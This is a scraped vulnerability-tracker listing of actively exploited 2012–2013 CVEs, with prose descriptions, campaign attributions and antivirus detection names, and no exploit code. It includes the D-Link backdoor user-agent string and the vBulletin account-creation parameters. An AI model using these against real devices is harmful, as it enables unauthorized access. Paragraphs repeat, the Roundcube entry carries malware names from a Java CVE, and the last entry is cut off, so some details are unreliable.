The vulnerability allows a remote attacker to execute arbitrary SQL commands in vulnerable application.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can send a specially crafted HTTP request to the XML-RPC script using the "what" parameter and view, add, modify or delete information in the back-end database.

Successful exploitation may allow an attacker to gain unauthorized access to the vulnerable system.

Note: this vulnerability was being actively exploited.

i

The vulnerability was discovered and reported to Revive Adserver team by Florian Sander.

The vulnerability is considered to be connected with attacks on web site centralpark[.]com and high-traffic site clipconverter[.]cc

Software: Revive Adserver

The vulnerability was discovered and reported to Revive Adserver team by Florian Sander.

The vulnerability is considered to be connected with attacks on web site centralpark[.]com and high-traffic site clipconverter[.]cc

Two remote code execution vulnerabilities in Adobe Flash Player
CVE-2013-5331

Type confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to type confusion error. A remote attacker can create a specially crafted Web site or . swf file, trick the victim into visiting it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was reported by Adobe as being exploited in the wild. The attackers used Microsoft Word documents with embedded malicious Flash (.swf) content.

Software: Adobe Flash Player

Known/fameous malware:

Troj/SWFExp-CH (Sophos)
Trojan horse Exploit_c.YZX (AVG)
Exploit.Win32.CVE-2013 (Ikarus)
HEUR:Exploit.SWF.CVE-2013-5331.a (Kaspersky)
Exploit:Win32/CVE-2013-5331 (Microsoft)
SWF/Exploit.CVE-2013-5331.A trojan (Eset)
Trojan.Mdropper (Symantec)

The vulnerability was reported by Adobe as being exploited in the wild. The attackers used Microsoft Word documents with embedded malicious Flash (.swf) content.

ASLR bypass in Microsoft Office
CVE-2013-5057

ASLR bypass

The vulnerability allows a remote attacker to bypass certain security restrictions.

The weakness exists due to improper implementation of Address Space Layout Randomization (ASLR) within HXDS Office shared component. A remote attacker can create a specially crafted Web site, trick the victim into visiting it and bypass the ASLR security feature.

Successful exploitation of the vulnerability may result in attacker's access to the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft Office

Signature validation bypass in Microsoft Windows
CVE-2013-3900

Sugnature verification bypass

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to improper validation of PE file digests during Authenticode signature verification within WinVerifyTrust function. A remote attacker can create specially crafted signed PE file, trick the victim into executing it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Windows

Information disclosure in Microsoft Office
CVE-2013-5054

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The weakness exists due to an error in handling of a specially crafted response when opening a malicious Office file. A remote attacker can create a specially crafted file using, host it on remote website, trick the victim into opening it and gain access to tokens used to authenticate the current user on a targeted SharePoint or other Microsoft Office server site.

Successful exploitation of the vulnerability results in information disclosure on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was discovered by the Adallom company and the attack was dubbed "Ice Dagger". The attackers used the vulnerability to steal Microsoft Office 365 authentication token. The victim of the unnamed company received an email with a link to attachment, located on a hidden server within TOR network. The vulnerability was reported to Microsoft in late May 2013.

Software: Microsoft Office

The vulnerability was discovered by the Adallom company and the attack was dubbed "Ice Dagger". The attackers used the vulnerability to steal Microsoft Office 365 authentication token. The victim of the unnamed company received an email with a link to attachment, located on a hidden server within TOR network. The vulnerability was reported to Microsoft in late May 2013.

Privilege escalation in Microsoft Windows
CVE-2013-5065

Privilege escalation

The vulnerability allows a local attacker to obtain elevated privileges on the target system.

The weakness exists due to improper validation of input by the NDProxy.sys kernel component. A local attacker with valid login credentials can use a malicious application to gain kernel privileges and execute arbitrary code on the system.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Windows bug (CVE-2013-5065) was exploited in conjunction with a patched Adobe Reader bug (CVE-2013-3346) to evade the Reader sandbox.

Kaspersky Lab revealed the vulnerability was used in Epic Turla (cyber-espionage campaigns).

Software: Windows

Known/fameous malware:

PDF:Exploit.CVE-2013-5065.A
Gen:Trojan.Heur.FU.ku3@aSHWAmji

Windows bug (CVE-2013-5065) was exploited in conjunction with a patched Adobe Reader bug (CVE-2013-3346) to evade the Reader sandbox.

Kaspersky Lab revealed the vulnerability was used in Epic Turla (cyber-espionage campaigns).

Remote code execution in Microsoft Windows
CVE-2013-3918

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to out-of-bounds memory access within InformationCardSigninHelper Class ActiveX control (icardie.dll). A remote attacker can create specially crafted Web page that passes an overly long string argument to vulnerable ActiveX component, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerabilty was introduced on 07.27.2005, but publically disclosed later by Xiaobo Chen and Dan Caselden of FireEye.
The vulnerability has been exploited by the APTgroup behind the 2009 Aurora attack. The exploit uses a technique ROP (return-oriented-programming). According to FireEye, the attack has a link to the infrastructure used in Operation DeputyDog and Operation Ephemeral Hydra, which began in August and targeted organizations in Japan.

Software: InformationCardSigninHelper Class ActiveX control

The vulnerabilty was introduced on 07.27.2005, but publically disclosed later by Xiaobo Chen and Dan Caselden of FireEye.
The vulnerability has been exploited by the APTgroup behind the 2009 Aurora attack. The exploit uses a technique ROP (return-oriented-programming). According to FireEye, the attack has a link to the infrastructure used in Operation DeputyDog and Operation Ephemeral Hydra, which began in August and targeted organizations in Japan.

Remote code execution in Microsoft Graphics Component
CVE-2013-3906

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling malicious images. A remote attacker can create specially crafted TIFF image file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The meta date of the files were set to October 17, 2013, which may suggest a creation time of this exploit.

Attacks leveraging this zero-day exploit revealed that the Hangover group, believed to operate from India, has compromised 78 computers, 47 percent of those in Pakistan. The attacks observed are very limited and carefully carried out against selected computers, largely in the Middle East and South Asia.

Software: Microsoft Office

The meta date of the files were set to October 17, 2013, which may suggest a creation time of this exploit.

Attacks leveraging this zero-day exploit revealed that the Hangover group, believed to operate from India, has compromised 78 computers, 47 percent of those in Pakistan. The attacks observed are very limited and carefully carried out against selected computers, largely in the Middle East and South Asia.

Privilege escalation in Google Android
CVE-2013-6282

Privilege escalation

The vulnerability allows a local attacker to obtain elevated privileges on the target system.

The weakness exists due to an error in the put_user/get_user kernel API. A local attacker can use a malicious application to read and write kernel memory and gain kernel privileges on the system.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was exploited against Android devices in October and November 2013. The vulnerability is originally in SE Linux kernel.

Software: Google Android

Known/fameous malware:

Gooligan.

The vulnerability was exploited against Android devices in October and November 2013. The vulnerability is originally in SE Linux kernel.

Backdoor in D-Link routers
CVE-2013-6026

Security bypass

The vulnerability allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to an error in the alpha_auth_check() function. By setting the user agent string to xmlset_roodkcableoj28840ybtide, an attacker can send an HTTP request to bypass authentication and obtain administrative access to the device.

Successful exploitation of the vulnerability results in full access to the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Dir-100

Remote code execution in Microsoft Internet Explorer
CVE-2013-3897

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to user-after-free vulnerability in the CDisplayPointer object. A remote attacker can create a specially crafted Web page containing, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Used in Pawn Storm campaign.
A zero-day was used in highly targeted, low-volume attacks in Korea, Hong Kong, and the United States, as early as September 18th, 2013.

Software: Microsoft Internet Explorer

Used in Pawn Storm campaign.
A zero-day was used in highly targeted, low-volume attacks in Korea, Hong Kong, and the United States, as early as September 18th, 2013.

Remote code execution in Microsoft Internet Explorer
CVE-2013-3893

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error in SetMouseCapture implementation. A remote attacker can create specially crafted JavaScript, place it on a Web page, trick the victim into visiting it using Internet Explorer, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability used ROP-chain technique and was exploited in Campaign Operation DeputyDog.

The vulnerability was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well.

Software: Microsoft Internet Explorer

The vulnerability used ROP-chain technique and was exploited in Campaign Operation DeputyDog.

The vulnerability was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well.

Security bypass in vBulletin
CVE-2013-6129

Security bypass

The vulnerability allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to an error in the upgrade.php script. By using the customerid, htmldata[password], htmldata[confirmpassword], and htmldata[email] parameters, a remote attacker can create administrative accounts.

Successful exploitation of the vulnerability results in security bypass on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: vBulletin

Known/fameous malware:

PHP/Exploit.CVE-2013-6129.A virus.

Security bypass in Google Android
CVE-2013-7372

Security bypass

The vulnerability allows a renote attacker to bypass security restriction on the target system.

The weakness is due to the use of an incorrect offset value by the engineNextBytes function in Apache Harmony, as used in the Java Cryptography Architecture (JCA) in Android . A remote attacker can leverage the resulting PRNG predictability, defeat cryptographic protection mechanisms and launch further attacks on the system.

Successful exploitation of the vulnerablity results in security bypass on the vulnerable system.
i

The vulnerability in Android's component Apache Harmony led to multiple compromises of a bitcoin transactions.

Software: Google Android

The vulnerability in Android's component Apache Harmony led to multiple compromises of a bitcoin transactions.

PHP code execution in OpenX Revive Adserver
CVE-2013-4211

Arbitrary PHP code execution

The vulnerability allows a remote attacker to execute arbitrary PHP code on the target system.

The weakness exists due to compromise of the source code package. A remote attacker can create a specially crafted request with a rot13'd and reversed payload and send it to the target system to execute arbitrary PHP code.

Successful exploitation of the vulnerability results in arbitrary PHP code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability has been exploited from November 2012 till August 2013.

Software: Revive Adserver

The vulnerability has been exploited from November 2012 till August 2013.

Denial of service in ISC BIND
CVE-2013-4854

Denial of service

The vulnerability allows a remote attacker to cause DoS conditions on the target system.

The weakness exists due to an error in the RFC 5011 implementation in rdata.c when parsing RDATA within a DNS query. By using a query with a malformed RDATA section that is not properly handled during construction of a log message, a remote attacker can cause an assertion failure and named daemon exit.

Successful exploitation of the vulnerability results in denial of service on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

We are aware of in the wild exploitation of this vulnerability before official patch release.
This vulnerability was discovered by Maxim Shudrak.

Software: ISC BIND

We are aware of in the wild exploitation of this vulnerability before official patch release.
This vulnerability was discovered by Maxim Shudrak.

Arbitrary file upload in Joomla!
CVE-2013-5576

Arbitrary file upload

The vulnerability allows a remote attacker to execute arbitrary PHP code on the target system.

The weakness exists due to improper validation of file extensions by the media.php and index.php scripts. A remote attacker can create a specially crafted HTTP request, upload a malicious PHP script and execute arbitrary PHP code.

Successful exploitation of the vulnerability results in arbitrary PHP code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The weakness was disclosed 08/01/2013 by Jens Hinrichsen.

Software: Joomla!

The weakness was disclosed 08/01/2013 by Jens Hinrichsen.

Remote code execution in Microsoft Internet Explorer
CVE-2013-3163

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error in CBlockContainerBlock. A remote attacker can create specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability reffers to "Waterring hole attack".

Software: Microsoft Internet Explorer

The vulnerability reffers to "Waterring hole attack".

Remote code execution in JustSystems Ichitaro
CVE-2013-3644

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when processing office documents. A remote attacker can create a specially crafted document, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Symantec has seen the exploitation being used in targeted attacks since May, but it has been limited to users in Japan and the volume of attacks has been minimal.

Software: Ichitaro

Known/fameous malware:

Trojan.Tarodrop.M.

Symantec has seen the exploitation being used in targeted attacks since May, but it has been limited to users in Japan and the volume of attacks has been minimal.

Remote code execution in Oracle Java SE
CVE-2013-2465

Array indexing error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an array indexing error in the storeImageArray() function in awt.dll. A remote attacker can execute arbitrary code with privileges of the current user or targeted application process.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The exploit was released by security research group Packet Storm Security.

Software: Oracle Java SE

Known/fameous malware:

Styx exploit kit, previously known as Kein
Fiesta EK

The exploit was released by security research group Packet Storm Security.

Denial of service in ntp.org ntp
CVE-2013-5211

Denial of service

The vulnerability allows a remote attacker to cause DoS conditions on the target system.

The weakness exists due to an error in the monlist feature in ntp_request.c. By sending a specially crafted REQ_MON_GETLIST or REQ_MON_GETLIST_1 request, a remote attacker can consume available CPU resources and cause the server to crash.

Successful exploitation of the vulnerability results in denial of service on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

This vulnerability was the cause of a record-sized NTP reflection attack in late 2013 and early 2014. We consider this a zero-day vulnerability as it was exploited in the wild before the official patch release.

Software: ntp

This vulnerability was the cause of a record-sized NTP reflection attack in late 2013 and early 2014. We consider this a zero-day vulnerability as it was exploited in the wild before the official patch release.

Remote code execution in Microsoft Office
CVE-2013-1331

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when processing malicious PNG files. A remote attacker can create specially crafted file, trick the victim into opening it using an affected version of Microsoft Office, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was reported by Andrew Lyons and Neel Mehta of Google Inc.

Using the samples provided by Microsoft, Romang scoured GoogleтАЩs cache and found the earliest document that attempted to fetch the exploit dated from February, 2013. The document referenced territory disputes between China and the Philippines.
However, Romang uncovered another Word document created in 2009 that, according to GoogleтАЩs Virus Total service, would also exploit the flaw Microsoft patched. The fileтАЩs title тАЬThe corruption of MahathirтАЭ referred to a Malaysian politician, fitting MicrosoftтАЩs list of possible targets. Both documents to a Bridging Links URL.

The vulnerability might have been spotted in the wild, with campaigns starting as early as 2009. Microsoft believe attacks were limited to Indonesia and Malaysia.

Software: Microsoft Office

Known/fameous malware:

Trojan.Mdropper.

The vulnerability was reported by Andrew Lyons and Neel Mehta of Google Inc.

Using the samples provided by Microsoft, Romang scoured GoogleтАЩs cache and found the earliest document that attempted to fetch the exploit dated from February, 2013. The document referenced territory disputes between China and the Philippines.
However, Romang uncovered another Word document created in 2009 that, according to GoogleтАЩs Virus Total service, would also exploit the flaw Microsoft patched. The fileтАЩs title тАЬThe corruption of MahathirтАЭ referred to a Malaysian politician, fitting MicrosoftтАЩs list of possible targets. Both documents to a Bridging Links URL.

The vulnerability might have been spotted in the wild, with campaigns starting as early as 2009. Microsoft believe attacks were limited to Indonesia and Malaysia.

Privilege escalation in Microsoft Windows
CVE-2013-3660

Privilege escalation

The vulnerability allows a local attacker to obtain elevated privileges on the target system.

The weakness exists due to the failure to properly initialize a pointer for the next object in a certain list by the EPATHOBJ::pprFlattenRec function within kernel-mode driver (win32k.sys). A local attacker can use multiple FlattenPath function calls to obtain write access to the PATHRECORD chain and execute arbitrary code on the system with elevated privileges.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Tavis Ormandy, a Google security engineer, reported a critical bug to Microsoft only five days before going public.
The vulnerability has being used by Carbanak group.

Software: Windows

Known/fameous malware:

Cidox/Rovnix Bootkit
PowerLoader

Tavis Ormandy, a Google security engineer, reported a critical bug to Microsoft only five days before going public.
The vulnerability has being used by Carbanak group.

Directory traversal in Adobe ColdFusion
CVE-2013-3336

Directory traversal

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The weakness exists due to improper validation of the user-supplied input. A remote attacker can create specially crafted HTTP request containing "dot dot" sequences (/../) and view contents of arbitrary files on vulnerable system.

Successful exploitation of the vulnerability may allow an attacker to obtain potentially sensitive information and compromise vulnerable system.

Note: the vulnerability was being actively exploited.

Software: ColdFusion

Remote code execution in Microsoft Internet Explorer
CVE-2013-1347

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error in the CGenericElement object. A remote attacker can create specially crafted Web page, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability has been exploited in watering hole attack against Department of Labor (DoL). Used in Pawn Storm campaign.

Software: Microsoft Internet Explorer

The vulnerability has been exploited in watering hole attack against Department of Labor (DoL). Used in Pawn Storm campaign.

Cross-site scripting in Microsoft SharePoint Server
CVE-2013-1289

Cross-site scripting

The vulnerability allows a remote attacker to obtain elevated privileges on the target system.

The weakness exists due to an error related to the way HTML strings are sanitized by HTML Sanitization components. A remote attacker can create a specially crafted URL, trick the victim into opening it, take actions on the targeted site or read restricted content and obtain sensitive information with elevated privileges.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft SharePoint Server

PHP inlcuding in Roundcube Webmail
CVE-2013-1904

PHP including

The vulnerability allows a remote attacker to include arbitrary files on the target system.

The weakness exists due to improper sanitization of user-supplied data within "steps/mail/sendmail.inc" script when parsing "generic_message_footer" HTTP parameter passed to "/index.php" script. A remote attacker can send a specially crafted HTTP request to the "index.php" script, include and execute arbitrary PHP script on the affected server.

Successful exploitation of the vulnerability may lead to system compromise.

Note: the vulnerability was being actively exploited.

Software: Roundcube

Known/fameous malware:

Exploit-FHV!CVE2013-1493 (McAfee)
Exp/20131493-G (Sophos)
Exp/20131493-A (Sophos)
Exploit.Java.CVE-2013-1493.gen (Kaspersky)
Java/CVE_2013_1493.NT!exploit

Remote code execution in Microsoft Silverlight
CVE-2013-0074

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when rendering an HTML object. A remote attacker can create a specially crafted Web site containing a malicious Silverlight applicationt, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft Silverlight

Known/fameous malware:

Exploit kits: Angler, Archie, Astrum, Fiesta, Hanjuan, Infinity (Exploit kit), Neutrino, Nuclear Pack, RIG.

Remote code execution in Oracle Java SE
CVE-2013-1493

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to multiple integer and buffer overflows in the color management (CMM) functionality within the 2D component. A remote attacker can create specially crafted Web page, trick the victim into visiting it, trigger memory corruption using an image with crafted raster parameters and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability allows a remote user to execute arbitrary code on the target system via MC Rat (Trojan). The vulnerability was found with the help of Malware Protection Cloud (MPC).

The vulnerability turned out to have been exploited in Sun Shop Campaign and related to breach at security firm Bit9.

Software: Oracle Java SE

Known/fameous malware:

Trojan.Naid, Trojan.Dropper (Symantec).

The vulnerability allows a remote user to execute arbitrary code on the target system via MC Rat (Trojan). The vulnerability was found with the help of Malware Protection Cloud (MPC).

The vulnerability turned out to have been exploited in Sun Shop Campaign and related to breach at security firm Bit9.

Multiple vulnerabilities in Adobe Flash Player
CVE-2013-0648

Arbitrary code execution

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an error in the ExternalInterface ActionScript feature. A remote attacker can create specially crafted Web site serving malicious Flash (SWF) content, trick the victim into visiting it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Adobe Flash Player

Multiple vulnerabilities in Adobe Flash Player
CVE-2013-0643

Arbitrary code execution

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an error when handling permissions of the Flash Player Firefox sandbox. A remote attacker can create specially crafted Web site serving malicious Flash (SWF) content, trick the victim into visiting it, bypass the sandbox restrictions and execute arbitrary code outside the sandbox with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Adobe Flash Player

Two remote code execution vulnerabilities in Adobe Acrobat and Adobe Reader
CVE-2013-0641

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when handling malicious files. A remote attacker can create specially crafted PDF file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The sandbox vulnerability was dubbed as "666" by FireEye. CVE-2013-0640 and CVE-2013-0641 have been exploited in MiniDuke, Zegost, PlugX Malware Campaign attacks.

Software: Adobe Reader

The sandbox vulnerability was dubbed as "666" by FireEye. CVE-2013-0640 and CVE-2013-0641 have been exploited in MiniDuke, Zegost, PlugX Malware Campaign attacks.

Two remote code execution vulnerabilities in Adobe Acrobat and Adobe Reader
CVE-2013-0640

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling malicious files. A remote attacker can create specially crafted PDF file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The sandbox vulnerability was dubbed as "666" by FireEye. CVE-2013-0640 and CVE-2013-0641 have been exploited in MiniDuke, Zegost, PlugX Malware Campaign attacks.

Software: Adobe Reader

The sandbox vulnerability was dubbed as "666" by FireEye. CVE-2013-0640 and CVE-2013-0641 have been exploited in MiniDuke, Zegost, PlugX Malware Campaign attacks.

Two remote code execution vulnerabilities in Adobe Flash Player
CVE-2013-0634

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in Flash Player for Firefox. A remote attacker can create specially crafted .swf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was discovered by Shadowserver Foundation.

The exploit was used in a cyber espionage campaign dubbed тАЬLadyBoyle".

Software: Adobe Flash Player

The vulnerability was discovered by Shadowserver Foundation.

The exploit was used in a cyber espionage campaign dubbed тАЬLadyBoyle".

Two remote code execution vulnerabilities in Adobe Flash Player
CVE-2013-0633

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow in ActiveX version of Flash Player. A remote attacker can create specially crafted .swf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was reported to Adobe by Sergey Golovanov and Alexander Polyakov of Kaspersky.
The vulnerability was being used in a series of targeted attacks mostly against human rights activists and political dissidents from Africa and the Middle East.

Software: Adobe Flash Player

Known/fameous malware:

Exploit: SWF/CVE-2013-0633.

The vulnerability was reported to Adobe by Sergey Golovanov and Alexander Polyakov of Kaspersky.
The vulnerability was being used in a series of targeted attacks mostly against human rights activists and political dissidents from Africa and the Middle East.

Remote code execution in JustSystems Ichitaro
CVE-2013-0707

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when processing office documents. A remote attacker can create a specially crafted document, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Ichitaro

Remote code execution in Oracle Java SE
CVE-2013-0422

Arbitrary code execution

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to errors involving Java Management Extensions (JMX) MBean components. A remote attacker can create specially crafted Web site containing a malicious Java applet, trick the victim into opening it, invoke the setSecurityManager() function and execute arbitrary code outside the sandbox with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The CVE-2013-0422 exploit has also been identified as distributing GameHack and Banki malicious code. The vulnerability was used by Blackhole, Cool Exploit, and Nuclear exploit kits.

Software: Oracle Java SE

Known/fameous malware:

TROJ_REVETON.RJ
TROJ_REVETON.RG.

The CVE-2013-0422 exploit has also been identified as distributing GameHack and Banki malicious code. The vulnerability was used by Blackhole, Cool Exploit, and Nuclear exploit kits.

Multiple vulnerabilities in Adobe ColdFusion
CVE-2013-0625

Authentication bypass

The vulnerability allows a remote attacker to bypass authentication and execute arbitrary code on the target system.

The vulnerability exists due to improper authentication, when password is not configured. A remote unauthenticated attacker can bypass authentication process and execute arbitrary code on the target system.

Note: the vulnerability was being actively exploited.

Software: ColdFusion

Multiple vulnerabilities in Adobe ColdFusion
CVE-2013-0629

Authentication bypass

The vulnerability allows a remote attacker to bypass authentication.

The vulnerability exists due to an error in authentication process, when a password is not configured. A remote unauthenticated attacker can gain unauthorized access to restricted directories.

Successful exploitation of this vulnerability results in unauthorized gaining access to the directories.

Note: the vulnerability was being actively exploited.

Software: ColdFusion

Multiple vulnerabilities in Adobe ColdFusion
CVE-2013-0631

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The weakness exists due to improper access control. A remote attacker can gain access to important data.

Note: the vulnerability was being actively exploited.

Software: ColdFusion

Multiple vulnerabilities in Adobe ColdFusion
CVE-2013-0632

Authentication bypass

The vulnerability allows a remote attacker to bypass authentication and gain unauthorized access to vulnerable system.

The vulnerability exists due to an error within administrator.cfc. A remote unauthenticated attacker can access Adobe ColdFusion application using a default empty password, login to the RDS component and leverage this session to access administrative web interface.

Successful exploitation of this vulnerability results in unauthorized access to Adobe ColdFusion.

Note: the vulnerability was being actively exploited.
i

The vulnerability was used to compromise website of the Washington state Administrative Office of the Courts (AOC).

Software: ColdFusion

The vulnerability was used to compromise website of the Washington state Administrative Office of the Courts (AOC).

Arbitrary file upload in SugarCRM
CVE-2023-22952

Arbitrary file upload

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to insufficient validation of file during file upload. A remote attacker bypass implemented authentication process, upload a malicious file and execute it on the server.

Successful exploitation of the vulnerability may allow an attacker to compromise the affected system.

Note, the vulnerability is being actively exploited in the wild.

Software: SugarCRM

Remote code execution in Microsoft Internet Explorer
CVE-2012-4792

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error when handling the CDwnBindInfo object and attempting to access an object in memory that has not been initialized or has been deleted. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

This vulnerability was described by Eric Romang and FireEye through Malware Protection Cloud.

The vulnerability has been exploited in watering hole attacks against Council on Foreign Relations (CFR) website 26.12.2012. The attack appears to be closely related to attacks in June 2012 that were targeting visitors of a major hotel chain and other attacks associated with the Elderwood Project.

Software: Microsoft Internet Explorer

This vulnerability was described by Eric Romang and FireEye through Malware Protection Cloud.

The vulnerability has been exploited in watering hole attacks against Council on Foreign Relations (CFR) website 26.12.2012. The attack appears to be closely related to attacks in June 2012 that were targeting visitors of a major hotel chain and other attacks associated with the Elderwood Project.

Phishing attack in Opera browser
CVE-2012-6467

Improper input validation

The vulnerability allows a remote attacker to perform phishing attacks.
 
The vulnerability exists due to improper input validation when processing Internet shortcuts, referenced by IMG or other inline elements. A remote attacker can create a specially crafted web page, trick the victim into visiting it and perform a phishing attack.

Note: the vulnerability was being actively exploited.

Software: Opera

Arbitrary file upload in Atomymaxsite
CVE-2012-6498

Arbitrary file upload

The vulnerability allows a remote attacker to cause arbitrary code execution on the original server.

The weakness exists due to improper validation of file extensions in "index.php" script when uploading files. A remote attacker can upload arbitrary file with .php extension and execute it on the system with privileges of the web server.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability was being actively exploited.

i

The vulnerability was reported by ThaiCERT as a zero-day targeting websites across the country.

Software: Atomymaxsite

The vulnerability was reported by ThaiCERT as a zero-day targeting websites across the country.

XSS in HTML Sanitization Component in Microsoft Office products
CVE-2012-2520

Cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks and gain elevated privileges.

The vulnerability exists due to insufficient sanitization of user-input within HTML Sanitization Component. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in userтАЩs browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability was being actively exploited.

Software: Microsoft Office InfoPath

Remote code execution in Microsoft Internet Explorer
CVE-2012-4969

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

